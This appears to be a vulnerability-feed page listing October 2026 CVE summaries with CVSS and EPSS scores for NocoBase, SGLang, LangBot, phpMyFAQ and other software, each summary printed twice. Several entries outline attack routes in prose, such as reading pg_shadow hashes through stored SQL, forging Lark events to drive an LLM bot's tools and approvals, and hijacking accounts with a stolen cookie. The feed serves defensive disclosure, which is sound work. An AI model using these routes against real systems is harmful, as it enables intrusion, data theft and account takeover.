NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL() through the sqlCollection:setFields action. Attackers holding the collection-sql snippet can replace a benign collection query with dangerous statements executed on reload, reading pg_shadow password hashes or calling pg_read_file.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112306).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112306&date=2026-10-25).
Sources:
NVD CVE-2026-112306: https://nvd.nist.gov/vuln/detail/CVE-2026-112306
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112306&date=2026-10-25
NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL() through the sqlCollection:setFields action. Attackers holding the collection-sql snippet can replace a benign collection query with dangerous statements executed on reload, reading pg_shadow password hashes or calling pg_read_file.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated...
https://kevwire.com/record/CVE-2026-112270
SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated... (Oct 19, 2026).
SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated network-adjacent attackers exhaust Prefill memory. Attackers can obtain the rank address from the /route endpoint and send STAGING_RSP messages with huge chunk_idx values under fresh room IDs, causing the scheduler to be OOM-killed.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112270).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112270&date=2026-10-25).
Sources:
NVD CVE-2026-112270: https://nvd.nist.gov/vuln/detail/CVE-2026-112270
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112270&date=2026-10-25
SGLang through 0.5.22 with the Mooncake disaggregation backend contains an uncontrolled memory allocation vulnerability in handle_staging_rsp() that lets unauthenticated network-adjacent attackers exhaust Prefill memory. Attackers can obtain the rank address from the /route endpoint and send STAGING_RSP messages with huge chunk_idx values under fresh room IDs, causing the scheduler to be OOM-killed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature...
https://kevwire.com/record/CVE-2026-112265
LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature... (Oct 19, 2026).
LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature checks. Attackers knowing a bot UUID can POST fabricated im.message.receive_v1 or card.action.trigger events to drive the LLM pipeline, tools, and approvals as other users.
CVSS 8.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112265).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112265&date=2026-10-25).
Sources:
NVD CVE-2026-112265: https://nvd.nist.gov/vuln/detail/CVE-2026-112265
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112265&date=2026-10-25
LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature checks. Attackers knowing a bot UUID can POST fabricated im.message.receive_v1 or card.action.trigger events to drive the LLM pipeline, tools, and approvals as other users.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality.
https://kevwire.com/record/CVE-2026-112143
A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality. (Oct 19, 2026).
A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Multiple endpoints are affected. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112143).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112143&date=2026-10-25).
Sources:
NVD CVE-2026-112143: https://nvd.nist.gov/vuln/detail/CVE-2026-112143
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112143&date=2026-10-25
A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Multiple endpoints are affected. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file...
https://kevwire.com/record/CVE-2026-112139
A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file... (Oct 19, 2026).
A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file admindocview.php of the component Administrative Mutation Handler. The manipulation of the argument docid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112139).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112139&date=2026-10-25).
Sources:
NVD CVE-2026-112139: https://nvd.nist.gov/vuln/detail/CVE-2026-112139
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112139&date=2026-10-25
A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file admindocview.php of the component Administrative Mutation Handler. The manipulation of the argument docid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component...
https://kevwire.com/record/CVE-2026-112102
A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component... (Oct 19, 2026).
A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component Condition Expression Pipeline. The manipulation of the argument condition results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112102).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112102&date=2026-10-25).
Sources:
NVD CVE-2026-112102: https://nvd.nist.gov/vuln/detail/CVE-2026-112102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112102&date=2026-10-25
A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component Condition Expression Pipeline. The manipulation of the argument condition results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file...
https://kevwire.com/record/CVE-2026-112082
A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file... (Oct 19, 2026).
A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file python/sglang/srt/eplb/expert_distribution.py of the component Expert-Distribution Recording Endpoint. Such manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance.
CVSS 7.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112082).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112082&date=2026-10-25).
Sources:
NVD CVE-2026-112082: https://nvd.nist.gov/vuln/detail/CVE-2026-112082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112082&date=2026-10-25
A vulnerability was identified in sgl-project SGLang up to 0.5.19. This impacts the function Scheduler.expert_distribution_handle of the file python/sglang/srt/eplb/expert_distribution.py of the component Expert-Distribution Recording Endpoint. Such manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py.
https://kevwire.com/record/CVE-2026-112079
A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py. (Oct 19, 2026).
A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py. The manipulation of the argument vectors.vocab leads to deserialization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112079).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112079&date=2026-10-25).
Sources:
NVD CVE-2026-112079: https://nvd.nist.gov/vuln/detail/CVE-2026-112079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112079&date=2026-10-25
A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py. The manipulation of the argument vectors.vocab leads to deserialization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py.
https://kevwire.com/record/CVE-2026-112078
A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py. (Oct 19, 2026).
A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py. Executing a manipulation of the argument ckpt_path can lead to code injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112078).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112078&date=2026-10-25).
Sources:
NVD CVE-2026-112078: https://nvd.nist.gov/vuln/detail/CVE-2026-112078
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112078&date=2026-10-25
A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py. Executing a manipulation of the argument ckpt_path can lead to code injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file...
https://kevwire.com/record/CVE-2026-112075
A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file... (Oct 19, 2026).
A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file unsloth/models/sentence_transformer.py. This manipulation of the argument Type causes use of externally-controlled input to select classes or code. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.1.902-beta is able to mitigate this issue. Patch name: de801746386a53a0cb26216e715a0af863b76ad9. The affected component should be upgraded.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112075).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112075&date=2026-10-25).
Sources:
NVD CVE-2026-112075: https://nvd.nist.gov/vuln/detail/CVE-2026-112075
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112075&date=2026-10-25
A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file unsloth/models/sentence_transformer.py. This manipulation of the argument Type causes use of externally-controlled input to select classes or code. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.1.902-beta is able to mitigate this issue. Patch name: de801746386a53a0cb26216e715a0af863b76ad9. The affected component should be upgraded.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file...
https://kevwire.com/record/CVE-2026-112074
A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file... (Oct 19, 2026).
A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file src/mat_pixel.cpp of the component Conversion API. The manipulation results in integer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112074).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112074&date=2026-10-25).
Sources:
NVD CVE-2026-112074: https://nvd.nist.gov/vuln/detail/CVE-2026-112074
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112074&date=2026-10-25
A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file src/mat_pixel.cpp of the component Conversion API. The manipulation results in integer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file...
https://kevwire.com/record/CVE-2026-112044
A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file... (Oct 19, 2026).
A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file src/Catalog.API/Extensions/Extensions.cs of the component Catalog API. The manipulation leads to improper authentication. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112044).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112044&date=2026-10-25).
Sources:
NVD CVE-2026-112044: https://nvd.nist.gov/vuln/detail/CVE-2026-112044
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112044&date=2026-10-25
A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file src/Catalog.API/Extensions/Extensions.cs of the component Catalog API. The manipulation leads to improper authentication. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local...
https://kevwire.com/record/CVE-2026-112002
ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local... (Oct 18, 2026).
ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local passwords without the current password. Attackers holding a stolen session cookie can send PUT /settings/password to create a durable local password, enroll their own second factor, and persistently take over the account.
CVSS 7.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112002).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112002&date=2026-10-25).
Sources:
NVD CVE-2026-112002: https://nvd.nist.gov/vuln/detail/CVE-2026-112002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112002&date=2026-10-25
ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local passwords without the current password. Attackers holding a stolen session cookie can send PUT /settings/password to create a durable local password, enroll their own second factor, and persistently take over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without...
https://kevwire.com/record/CVE-2026-111907
phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without... (Oct 17, 2026).
phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without validating a CSRF token. Attackers can lure a logged-in user with the CONFIGURATION_EDIT permission into submitting a crafted cross-site request, triggering migrations that may impact database integrity or availability.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111907).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111907&date=2026-10-25).
Sources:
NVD CVE-2026-111907: https://nvd.nist.gov/vuln/detail/CVE-2026-111907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111907&date=2026-10-25
phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without validating a CSRF token. Attackers can lure a logged-in user with the CONFIGURATION_EDIT permission into submitting a crafted cross-site request, triggering migrations that may impact database integrity or availability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check...
https://kevwire.com/record/CVE-2026-111891
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check... (Oct 17, 2026).
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check held rights without regard to language or category scope and write unrestricted group grants. Non-superadmin administrators holding GROUP_EDIT can grant a group a right they hold only in a narrow scope and self-join it via updateMembers, gaining unrestricted FAQ create, edit, and publish access across all languages and categories.
CVSS 7.0 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111891).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111891&date=2026-10-25).
Sources:
NVD CVE-2026-111891: https://nvd.nist.gov/vuln/detail/CVE-2026-111891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111891&date=2026-10-25
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check held rights without regard to language or category scope and write unrestricted group grants. Non-superadmin administrators holding GROUP_EDIT can grant a group a right they hold only in a narrow scope and self-join it via updateMembers, gaining unrestricted FAQ create, edit, and publish access across all languages and categories.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file...
https://kevwire.com/record/CVE-2026-111871
A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file... (Oct 18, 2026).
A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file qsdb/usersdb/brandb/topicsdb/subjectsdb.php. Executing a manipulation of the argument query/qtype/sortname/sortorder can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111871).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111871&date=2026-10-25).
Sources:
NVD CVE-2026-111871: https://nvd.nist.gov/vuln/detail/CVE-2026-111871
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111871&date=2026-10-25
A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file qsdb/usersdb/brandb/topicsdb/subjectsdb.php. Executing a manipulation of the argument query/qtype/sortname/sortorder can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php.
https://kevwire.com/record/CVE-2026-111866
A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php. (Oct 18, 2026).
A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php. This manipulation causes sql injection. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The reported GitHub issue was closed with the reason "completed". However, it was not possible to determine the PR or commit which could have fixed this issue.
CVSS 6.9 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111866).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111866&date=2026-10-25).
Sources:
NVD CVE-2026-111866: https://nvd.nist.gov/vuln/detail/CVE-2026-111866
